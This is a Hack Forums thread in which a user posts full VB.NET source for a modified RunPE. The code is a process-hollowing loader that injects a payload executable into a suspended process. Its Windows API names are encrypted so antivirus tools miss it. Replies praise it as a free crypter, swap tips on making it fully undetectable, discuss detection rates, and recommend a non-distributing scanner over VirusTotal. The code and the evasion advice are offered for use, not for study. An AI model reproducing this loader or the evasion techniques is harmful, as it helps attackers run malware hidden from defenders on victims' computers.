

Forum:[Hack Forums](#)

Thread: [aeonhack runPE modified](#)

relik8821 - January 30, 2015, 6:12 am

Hello

i have modified the RunPE from aeonhack.
Whit dynamic API call and crypt few strings..

```
Code Imports System.Threading
Imports System.Reflection
Imports System.Text
Imports System.Security
Imports System
Imports System.Windows.Forms
Imports Microsoft.VisualBasic
Imports System.Runtime.InteropServices
Imports System.Diagnostics
```

```
'-----
'Creator: aeonhack
'Site: elitevs.net
'Created: 02/15/2013
'Changed: 05/12/2013
'Version: 1.0.0.7
'Modified: relik8821
'-----
```

Class RunPE

```
Public Shared Sub main()
```

```
End Sub
```

```
Private Delegate Function cc( _
ByVal ApplicationName As String, _
ByVal CommandLine As String, _
ByVal ProcessAttributes As IntPtr, _
ByVal ThreadAttributes As IntPtr, _
ByVal InheritHandles As Boolean, _
ByVal CreationFlags As UInteger, _
ByVal Environment As IntPtr, _
ByVal CurrentDirectory As String, _
ByRef StartupInfo As STARTUP_INFORMATION, _
ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
Dim ufnrefuer As cc = vnruferu(Of cc)( _
Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _
Decrypt("jJTMPtL4Gthc1C+liy/XZw==", "123456"))
```

```
Private Delegate Function a( _
```

```
ByVal thread As IntPtr, _  
ByVal context As Integer()) As Boolean  
Dim fjrfrerj As a = vnruferu(Of a)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("2d5O4tbyPSazO9/Wtw/laP5PnB8luPW0LBCXAK9edwM=", "123456"))
```

```
Private Delegate Function b( _  
ByVal thread As IntPtr, _  
ByVal context As Integer()) As Boolean  
Dim verver As b = vnruferu(Of b)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("rnujJ5Vy/fpKw0lJInO1fGkPCNRG1Emvaxz+IUQUKnl=", "123456"))
```

```
Private Delegate Function c( _  
ByVal thread As IntPtr, _  
ByVal context As Integer()) As Boolean  
Dim xedcedf As c = vnruferu(Of c)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("YF+qVvUWkXnlaavbfyBYbf5PnB8luPW0LBCXAK9edwM=", "123456"))
```

```
Private Delegate Function d( _  
ByVal thread As IntPtr, _  
ByVal context As Integer()) As Boolean  
Dim rf4fef As d = vnruferu(Of d)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("gaa6cVsk85z/5G1AtO96vWkPCNRG1Emvaxz+IUQUKnl=", "123456"))
```

```
Private Delegate Function e( _  
ByVal process As IntPtr, _  
ByVal baseAddress As Integer, _  
ByRef buffer As Integer, _  
ByVal bufferSize As Integer, _  
ByRef bytesRead As Integer) As Boolean  
Dim okfioerkf As e = vnruferu(Of e)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("OfPUXHt98ObD9C2lvZXpz2/nOEbVuDb6cQlYZJJPQOA=", "123456"))
```

```
Private Delegate Function f( _  
ByVal process As IntPtr, _  
ByVal baseAddress As Integer, _  
ByVal buffer As Byte(), _  
ByVal bufferSize As Integer, _  
ByRef bytesWritten As Integer) As Boolean  
Dim mcrkfmerkf As f = vnruferu(Of f)( _  
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _  
    Decrypt("ui6wR8odMAA68wscAFhShqa85qHyX4V3E05KA+w4cOM=", "123456"))
```

```
Private Delegate Function g( _  
ByVal process As IntPtr, _  
ByVal baseAddress As Integer) As Integer  
Dim krferiuf As g = vnruferu(Of g)( _  
    Decrypt("OZim7E+/7r8DiB1lfZTffg==", "123456"), _  
    Decrypt("nQNYIs5Fh3O7k9e02ShSvLITrCc3mB63qDIGIxSew6l=", "123456"))
```

```

Private Delegate Function aa( _
ByVal handle As IntPtr, _
ByVal address As Integer, _
ByVal length As Integer, _
ByVal type As Integer, _
ByVal protect As Integer) As Integer
Dim iurhferufh As aa = vnruferu(Of aa)( _
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _
    Decrypt("ohHvtfE14txXvURrlbn4Mg==", "123456"))

```

```

Private Delegate Function ab( _
ByVal handle As IntPtr) As Integer
Dim adew As ab = vnruferu(Of ab)( _
    Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _
    Decrypt("7uzsscR+qvFsdQrRSASXRA==", "123456"))

```

```

<StructLayout(LayoutKind.Sequential, Pack:=1)> _
Private Structure PROCESS_INFORMATION
    Public ProcessHandle As IntPtr
    Public ThreadHandle As IntPtr
    Public ProcessId As UInteger
    Public ThreadId As UInteger
End Structure

```

```

<StructLayout(LayoutKind.Sequential, Pack:=1)> _
Private Structure STARTUP_INFORMATION
    Public Size As UInteger
    Public Reserved1 As String
    Public Desktop As String
    Public Title As String

```

```

<MarshalAs(UnmanagedType.ByValArray, SizeConst:=36)> _
Public Misc As Byte()

```

```

Public Reserved2 As IntPtr
Public StdInput As IntPtr
Public StdOutput As IntPtr
Public StdError As IntPtr
End Structure

```

```

Public Function Run(ByVal path As String, ByVal cmd As String, ByVal data As Byte(), ByVal
compatible As Boolean) As Boolean
    For I As Integer = 1 To 5
        If HandleRun(path, cmd, data, compatible) Then Return True
    Next

    Return False
End Function

```

```

Private Function HandleRun(ByVal path As String, ByVal cmd As String, ByVal data As Byte(),
ByVal compatible As Boolean) As

```

Boolean

Dim ReadWrite As Integer

Dim QuotedPath As String = String.Format("{}", path)

Dim SI As New STARTUP_INFORMATION

Dim PI As New PROCESS_INFORMATION

SI.Size = CUInt(Marshal.SizeOf(GetType(STARTUP_INFORMATION)))

Try

If Not String.IsNullOrEmpty(cmd) Then

QuotedPath = QuotedPath & " " & cmd

End If

If Not ufnrefuer(path, QuotedPath, IntPtr.Zero, IntPtr.Zero, False, 4, IntPtr.Zero, Nothing, SI, PI)
Then Throw New

Exception()

Dim FileAddress As Integer = BitConverter.ToInt32(data, 60)

Dim ImageBase As Integer = BitConverter.ToInt32(data, FileAddress + 52)

Dim Context(179 - 1) As Integer

Context(0) = 65538

If IntPtr.Size = 4 Then

If Not fjrferj(PI.ThreadHandle, Context) Then Throw New Exception()

Else

If Not verfer(PI.ThreadHandle, Context) Then Throw New Exception()

End If

Dim Ebx As Integer = Context(41)

Dim BaseAddress As Integer

If Not okfioerkf(PI.ProcessHandle, Ebx + 8, BaseAddress, 4, ReadWrite) Then Throw New
Exception()

If ImageBase = BaseAddress Then

If Not krferiuf(PI.ProcessHandle, BaseAddress) = 0 Then Throw New Exception()

End If

Dim SizeOfImage As Integer = BitConverter.ToInt32(data, FileAddress + 80)

Dim SizeOfHeaders As Integer = BitConverter.ToInt32(data, FileAddress + 84)

Dim AllowOverride As Boolean

Dim NewImageBase As Integer = iurhferufh(PI.ProcessHandle, ImageBase, SizeOfImage,
12288, 64)

'This is the only way to execute under certain conditions. However, it may show
'an application error probably because things aren't being relocated properly.

If Not compatible AndAlso NewImageBase = 0 Then

AllowOverride = True

```

        NewImageBase = iurhferufh(PI.ProcessHandle, 0, SizeOfImage, 12288, 64)
    End If

    If NewImageBase = 0 Then Throw New Exception()

    If Not mcrkfmerkf(PI.ProcessHandle, NewImageBase, data, SizeOfHeaders, ReadWrite) Then
        Throw New Exception()

        Dim SectionOffset As Integer = FileAddress + 248
        Dim NumberOfSections As Short = BitConverter.ToInt16(data, FileAddress + 6)

        For I As Integer = 0 To NumberOfSections - 1
            Dim VirtualAddress As Integer = BitConverter.ToInt32(data, SectionOffset + 12)
            Dim SizeOfRawData As Integer = BitConverter.ToInt32(data, SectionOffset + 16)
            Dim PointerToRawData As Integer = BitConverter.ToInt32(data, SectionOffset + 20)

            If Not SizeOfRawData = 0 Then
                Dim SectionData(SizeOfRawData - 1) As Byte
                Buffer.BlockCopy(data, PointerToRawData, SectionData, 0, SectionData.Length)

                If Not mcrkfmerkf _
                    (PI.ProcessHandle, NewImageBase + VirtualAddress, SectionData, SectionData.Length,
                    ReadWrite) _
                    Then Throw New Exception()
                End If

                SectionOffset += 40
            Next

            Dim PointerData As Byte() = BitConverter.GetBytes(NewImageBase)
            If Not _
                mcrkfmerkf(PI.ProcessHandle, Ebx + 8, PointerData, 4, ReadWrite) Then Throw New
            Exception()

            Dim AddressOfEntryPoint As Integer = BitConverter.ToInt32(data, FileAddress + 40)

            If AllowOverride Then NewImageBase = ImageBase
            Context(44) = NewImageBase + AddressOfEntryPoint

            If IntPtr.Size = 4 Then
                If Not xedcedf(PI.ThreadHandle, Context) Then Throw New Exception()
            Else
                If Not rf4fef(PI.ThreadHandle, Context) Then Throw New Exception()
            End If

            If adew(PI.ThreadHandle) = -1 Then Throw New Exception()
            Catch
                Dim P As Process = Process.GetProcessById(CInt(PI.ProcessId))
                If P IsNot Nothing Then P.Kill()

            Return False
        End Try

```

```
Return True
End Function
```

```
#Region "Dynamic API Caller"
```

```
Private Function vnruferu(Of T)(ByVal name As String, ByVal method As String) As T
Return
DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(freifjeri(diej
diew(name, Nothing),
method), GetType(T)), Object), T)
End Function
```

```
#End Region
```

```
#Region "Dynamic API Calls"
```

```
'This one is needed and is also a fine example
Private Delegate Function rferfAPParameters(ByVal name As String) As IntPtr
Private ReadOnly rferf As rferfAPParameters = vnruferu(Of rferfAPParameters)( _
Decrypt("pEKm9FyEF+YYIsupbWD8OA==", "123456"), _
Decrypt("Beg0WCQT9eGA9jHoswqJBw==", "123456"))
```

```
#End Region
```

```
#Region "Functions"
```

```
Private Function diejdiew(ByVal ModuleName As String, ByVal NotMatchAddress As IntPtr) As
IntPtr
```

```
Dim ModuleBaseAddress As IntPtr = Nothing
If ModuleName.Contains(".dll") = False Then
ModuleName = ModuleName & ".dll"
End If
```

```
For Each ProcessModule As System.Diagnostics.ProcessModule In
System.Diagnostics.Process.GetCurrentProcess().Modules
If ProcessModule.ModuleName.ToLower = ModuleName Then
If Not NotMatchAddress = Nothing Then
If Not ProcessModule.BaseAddress = NotMatchAddress Then
Return ProcessModule.BaseAddress
End If
Else
Return ProcessModule.BaseAddress
End If
End If
Next
```

```
Return rferf(ModuleName)
```

```
End Function
```

```
Private Function ijfifer(ByVal Address As IntPtr, ByVal Size As Integer) As Byte()
```

```

Dim ReturnArray(Size - 1) As Byte
For i As Integer = 0 To Size - 1 Step 1
    Select Case IntPtr.Size
        Case 4
            ReturnArray(i) =
System.Runtime.InteropServices.Marshal.ReadByte(CType(Address.ToInt32 + i, IntPtr))
        Case 8
            ReturnArray(i) =
System.Runtime.InteropServices.Marshal.ReadByte(CType(Address.ToInt64 + i, IntPtr))
    End Select
Next
Return ReturnArray

```

End Function

Private Function freifjeri(ByVal ModuleAddress As IntPtr, ByVal ExportName As String) As IntPtr

```

Select Case IntPtr.Size
    Case 4
        Return CType(InternalfreifjeriManual32(CInt(ModuleAddress), ExportName), IntPtr)
    Case 8
        Return CType(InternalfreifjeriManual64(CLng(ModuleAddress), ExportName), IntPtr)
End Select

```

Return Nothing

End Function

Private Function InternalfreifjeriManual32(ByVal ModuleAddress As Integer, ByVal Export As String) As Integer

```

'PE Header relative declarations
Dim PEHeaderOffset As Integer =
System.Runtime.InteropServices.Marshal.ReadInt32(CType(ModuleAddress + &H3C, IntPtr))
Dim ExportRVA As Integer =
System.Runtime.InteropServices.Marshal.ReadInt32(CType(ModuleAddress + PEHeaderOffset +
&H78,

```

IntPtr))

```

Dim IExportDir() As Byte = ijfifer(CType(ModuleAddress + ExportRVA, IntPtr), 40)
Dim NamesCnt As Integer = BitConverter.ToInt32(IExportDir, 24)
Dim Names As Integer = BitConverter.ToInt32(IExportDir, 32) + ModuleAddress
Dim FuncAddress As Integer = BitConverter.ToInt32(IExportDir, 28) + ModuleAddress
Dim Ordinals As Integer = BitConverter.ToInt32(IExportDir, 36) + ModuleAddress

```

'Empty declarations to use later

Dim tpAddress, ApiAddress, Ord As Integer

Dim ApiString As String = Nothing

Dim Ptr As IntPtr = Runtime.InteropServices.Marshal.AllocHGlobal(64)

'Searching for the Export

For i As Integer = 0 To NamesCnt Step 1

```

    tpAddress = System.Runtime.InteropServices.Marshal.ReadInt32(CType(Names + ((i - 1) * 4),
IntPtr))
    System.Runtime.InteropServices.Marshal.Copy(ijifier(CType(ModuleAddress + tpAddress,
IntPtr), 64), 0, Ptr, 64)
    ApiString = Runtime.InteropServices.Marshal.PtrToStringAnsi(Ptr)
    Ord = BitConverter.ToInt16(ijifier(CType(Ordinals + ((i - 1) * 2), IntPtr), 2), 0)
    ApiAddress = BitConverter.ToInt32(ijifier(CType(FuncAddress + (Ord * 4), IntPtr), 4), 0) +
ModuleAddress

    If ApiString = Export Then
        Runtime.InteropServices.Marshal.FreeHGlobal(Ptr)
        Return ApiAddress
    End If

Next

Runtime.InteropServices.Marshal.FreeHGlobal(Ptr)
Return Nothing

End Function

Private Function InternalfreifjeriManual64(ByVal ModuleAddress As Int64, ByVal Export As
String) As Int64

    'PE Header relative declarations
    Dim PEHeaderOffset As Integer =
System.Runtime.InteropServices.Marshal.ReadInt32(CType(ModuleAddress + &H3C, IntPtr))
    Dim ExportRVA As Integer =
System.Runtime.InteropServices.Marshal.ReadInt32(CType(ModuleAddress + PEHeaderOffset +
&H88,
IntPtr))
    Dim IExportDir() As Byte = ijifier(CType(ModuleAddress + ExportRVA, IntPtr), 40)
    Dim NamesCnt As Integer = BitConverter.ToInt32(IExportDir, 24)
    Dim Names As Int64 = BitConverter.ToInt32(IExportDir, 32) + ModuleAddress
    Dim FuncAddress As Int64 = BitConverter.ToInt32(IExportDir, 28) + ModuleAddress
    Dim Ordinals As Int64 = BitConverter.ToInt32(IExportDir, 36) + ModuleAddress

    'Empty declarations to use later
    Dim tpAddress, Ord As Integer
    Dim ApiAddress As Int64
    Dim ApiString As String = Nothing
    Dim Ptr As IntPtr = Runtime.InteropServices.Marshal.AllocHGlobal(64)

    'Searching for the Export
    For i As Integer = 0 To NamesCnt Step 1
        tpAddress = System.Runtime.InteropServices.Marshal.ReadInt32(CType(Names + ((i - 1) * 4),
IntPtr))
        System.Runtime.InteropServices.Marshal.Copy(ijifier(CType(ModuleAddress + tpAddress,
IntPtr), 64), 0, Ptr, 64)
        ApiString = Runtime.InteropServices.Marshal.PtrToStringAnsi(Ptr)
        Ord = BitConverter.ToInt16(ijifier(CType(Ordinals + ((i - 1) * 2), IntPtr), 2), 0)
        ApiAddress = BitConverter.ToInt32(ijifier(CType(FuncAddress + (Ord * 4), IntPtr), 4), 0) +

```

ModuleAddress

```
If ApiString = Export Then
    Runtime.InteropServices.Marshal.FreeHGlobal(Ptr)
    Return ApiAddress
End If
```

Next

```
Runtime.InteropServices.Marshal.FreeHGlobal(Ptr)
Return Nothing
```

End Function

#End Region

```
Public Function Decrypt(ByVal input As String, ByVal pass As String) As String
    Dim AES As New System.Security.Cryptography.RijndaelManaged
    Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
    Dim decrypted As String = ""
    Try
        Dim hash(31) As Byte
        Dim temp As Byte() =
Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
        Array.Copy(temp, 0, hash, 0, 16)
        Array.Copy(temp, 0, hash, 15, 16)
        AES.Key = hash
        AES.Mode = Security.Cryptography.CipherMode.ECB
        Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform =
AES.CreateDecryptor
        Dim Buffer As Byte() = Convert.FromBase64String(input)
        decrypted =
System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0,
Buffer.Length))
        Return decrypted
    Catch ex As Exception
    End Try
    Return decrypted

End Function
```

End Class

[VirusTotal:click her](#)

VirinomTR - January 30, 2015, 6:26 am

Good job. With this runpe no need to buy a crypter. Thanks for sharing.

0xDivision - January 30, 2015, 6:27 am

thanks for sharing mate :)
and thanks for the effort

Mouse? - January 30, 2015, 6:31 am

(Jan 30, 2015 07:26 AM)VirinomTR Wrote: [\[CITE\]](#) Good job. With this runpe no need to buy a

crypter. Thanks for sharing.
Have fun with that 1% retention rate.

rellik8821 - January 30, 2015, 7:16 am

thanks thanks :p
have any one a idea how to FUD the runPe?
i have no ideas any more

sorry for my bad english ^^

LynS - January 30, 2015, 8:24 am

(Jan 30, 2015 08:16 AM)rellik8821 Wrote: [\[CITE\]](#) thanks thanks :p
have any one a idea how to FUD the runPe?
i have no ideas any more

sorry for my bad english ^^
What is the detection rate of this RunPE?

Ghostenigma - January 30, 2015, 8:39 am

Compile as .dll->Convert .dll to bytes->Encrypt->store them in image

Using this method even the most detected runpe will be fud

Anyway good job.That 1 detection can go away using another encryption or mabye only StrReverse

LynS - January 30, 2015, 8:49 am

(Jan 30, 2015 09:39 AM)Ghostenigma Wrote: [\[CITE\]](#) Compile as .dll->Convert .dll to bytes->Encrypt->store them in image

Using this method even the most detected runpe will be fud

Anyway good job.That 1 detection can go away using another encryption or mabye only StrReverse
Can you explain me much further that would be nice of you, I might use this method in my private
Crypter though my RunPE is FUD. And can you tell me which AV is causing the detection?

rellik8821 - January 30, 2015, 8:53 am

other encryption is good idea :)

and i will try with .dll :)

VirinomTR - January 30, 2015, 9:04 am

(Jan 30, 2015 09:53 AM)rellik8821 Wrote: [\[CITE\]](#) other encryption is good idea :)

and i will try with .dll :)
I'm getting 2/35 with Aeonhack's original runpe. With some effort it can be fud. I'm just randomizing variables with codedom.

rellik8821 - January 30, 2015, 9:23 am

i'm got 6/57 with original runPe on VT.
3 days ago i'm getting 1/57 with my mod Pe on virustotal

LynS - January 30, 2015, 9:50 am

(Jan 30, 2015 10:23 AM)rellik8821 Wrote: [\[CITE\]](#) i'm got 6/57 with original runPe on VT.

3 days ago i'm getting 1/57 with my mod Pe on virustotal

What! you scan it on VT are you nuts! never ever scan on VT it distribute's instead of it use this :
<http://v2.scan.majyx.net/?page=home>

rellik8821 - January 30, 2015, 10:08 am

I also have noticed VT is crap
?

xeinebiu - January 30, 2015, 10:38 am

Can anyone please explain me how to use this ? plsss :(

rellik8821 - January 30, 2015, 10:55 am

(Jan 30, 2015 11:38 AM)xeinebiu Wrote: [\[CITE\]](#) Can anyone please explain me how to use this ?
plsss :(
exp:

Code RunPE.Run(Application.executepath,"", you byte array,false)

VirinomTR - January 30, 2015, 12:05 pm

(Jan 30, 2015 11:38 AM)xeinebiu Wrote: [\[CITE\]](#) Can anyone please explain me how to use this ?
plsss :(

If you don't know how to use runpe don't waste your time with runtime crypters. Start with basic scantime crypter and then get into runtime.